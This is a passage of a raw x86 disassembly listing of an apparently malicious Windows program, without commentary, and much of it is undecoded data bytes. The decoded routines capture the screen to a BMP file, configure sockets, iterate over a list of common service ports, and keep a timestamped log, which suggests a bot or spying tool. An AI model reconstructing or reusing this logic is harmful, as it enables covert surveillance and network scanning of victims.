eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EE068FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022CBBh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0B02415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0F3E89000h, 2B0227C0h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7581Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF48h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D5A468h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 3868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFE4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAFA4h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 69D0E9E8h, 89669071h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB00815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B03C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435F14h, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 90006A14h, 2CB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB02415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 436104h, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF84h, 75FFF883h, 3815FF0Eh dd 50004CAFh, 4360B468h, 8D1BEB00h, 0FF500C45h, 4CAFE415h dd 0FFF88300h, 15FF2075h, 4CAF38h, 60706850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 0A415FF00h, 66004CAFh, 8DDE4589h, 90500C45h dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 604468FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7583Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF48h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D5A468ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE13868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE338h, 0A415FF45h dd 66004CAFh, 4CE33AA3h, 0AC458D00h, 5C76650h, 4CE33Ch dd 89660001h, 4CE33E3Dh, 4005C600h, 80004CE3h, 0E34105C6h dd 6611004Ch, 0E3423D89h, 15FF004Ch, 4CAFE4h, 4CE344A3h dd 0E0458B00h, 4CE348A3h, 8C858D00h, 50000000h, 523D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAFA415h, 4EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE34Ch, 0AFA415FFh, 68004Ch dd 66000004h, 4CE350A3h, 6F3CE800h, 0F7990000h, 546852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE338h, 0FFF475FFh, 4CB00815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0BBF8E8FCh, 2B900227h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 3C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FE068h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF3815h, 458D5000h, 5468500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFE415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 613068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0BDE89056h dd 5F022CB4h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 71AB3E5Dh nop jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF4C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF8C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0AEE8EC45h, 90716A0Dh, 6AEC4D8Dh dd 26A5104h, 0C8A35053h, 0FF004CE7h, 4CAF8415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0A415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CB02415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B03C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E7CCBF83h, 6068004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 5C685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAFA415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE768h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE768h, 685645h, 0C6000004h, 4CE77105h, 5C60600h dd 4CE769h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAFA4h dd 0A366286Ah, 4CE76Ch, 0AFA415FFh, 0D80004Ch, 4CE770h dd 581D39FFh, 66004CE7h, 4CE76AA3h, 1D896600h, 4CE76Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE13868h, 0E415FF00h, 0A3004CAFh dd 4CE774h, 6808458Bh, 4000h, 4CE778A3h, 891D8800h, 0FF004CE7h dd 4CAFA415h, 66535600h, 4CE78AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AFA015FFh dd 80A3004Ch, 0A0004CE7h, 4CE788h, 24087D8Bh, 6A500C0Fh dd 0E788A214h, 8B66004Ch, 1D89F045h, 4CE784h, 8E1D8966h dd 66004CE7h, 4CE77EA3h, 0A43D8900h, 88004CE7h, 4CE7A81Dh dd 0A905C600h, 6004CE7h, 0AFA415FFh, 0A366004Ch, 4CE7AAh dd 0E77EA166h, 0C766004Ch, 4CE79005h, 89000200h, 4CE7943Dh dd 92A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AFA415FFh, 0A366004Ch dd 4CE77Ch, 4CE774A1h, 0E7A0A300h, 5C6004Ch, 4CE789h, 841D8902h dd 0EB004CE7h, 0C653561Fh, 4CE78905h, 95E81000h, 59000036h dd 15FF5059h, 4CAFA4h, 0A3C0B70Fh, 4CE784h, 6C05FF66h dd 0FF004CE7h, 4CE78005h, 7EA16600h, 6A004CE7h, 7CBE5905h dd 0BF004CE7h, 4CE7ACh, 721D8966h, 66004CE7h, 0E78C1D89h dd 146A004Ch, 68BEA5F3h, 66004CE7h, 4CE792A3h, 25E85600h dd 6AFFFF5Ch, 0E7A06820h, 0A366004Ch, 4CE772h, 0FF5C13E8h dd 10C483FFh, 0E78CA366h, 106A004Ch, 4CE79068h, 286A5300h dd 0C835FF56h, 0FF004CE7h, 4CB00815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 4BE890FFh, 2B0227B5h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25BE29E8h dd 0FDC2E902h, 5E5FFFFFh, 4CE7CCB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D160 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCE0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D160[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D178[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_42923C pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436178 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D160 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_436164 lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCE0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call near ptr 279020Ch nop mov ebx, offset dword_4D2BCC mov edi, 80h mov esi, offset dword_4CEBCC loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEBCC xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2BCC jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_4361C4 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_4361B0 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361F4 push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEBCC loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2BCC jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361D8 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 46h, 0ACh ; --------------------------------------------------------------------------- sub al, 2 pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF90 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAFAC push 0Ah push edi mov [ebp+var_8], eax call dword_4CAFAC push 0Ch push edi mov [ebp+var_C], eax call dword_4CAFAC cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAFAC mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFF0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFE8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE74 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFEC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAEC8 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 2700729h cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 26F0000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 26F0000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call near ptr 26F0000h nop loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call near ptr 26F0000h nop push [ebp+arg_0] call near ptr 26619D4h nop push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAF00 push [ebp+var_4] call dword_4CAE60 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE60 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE60 push [ebp+var_4] call dword_4CAE60 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BD0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEF4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF44 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB000 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF44 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CB000 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF44 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CB000 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF44 test eax, eax jz short loc_4156E9 push 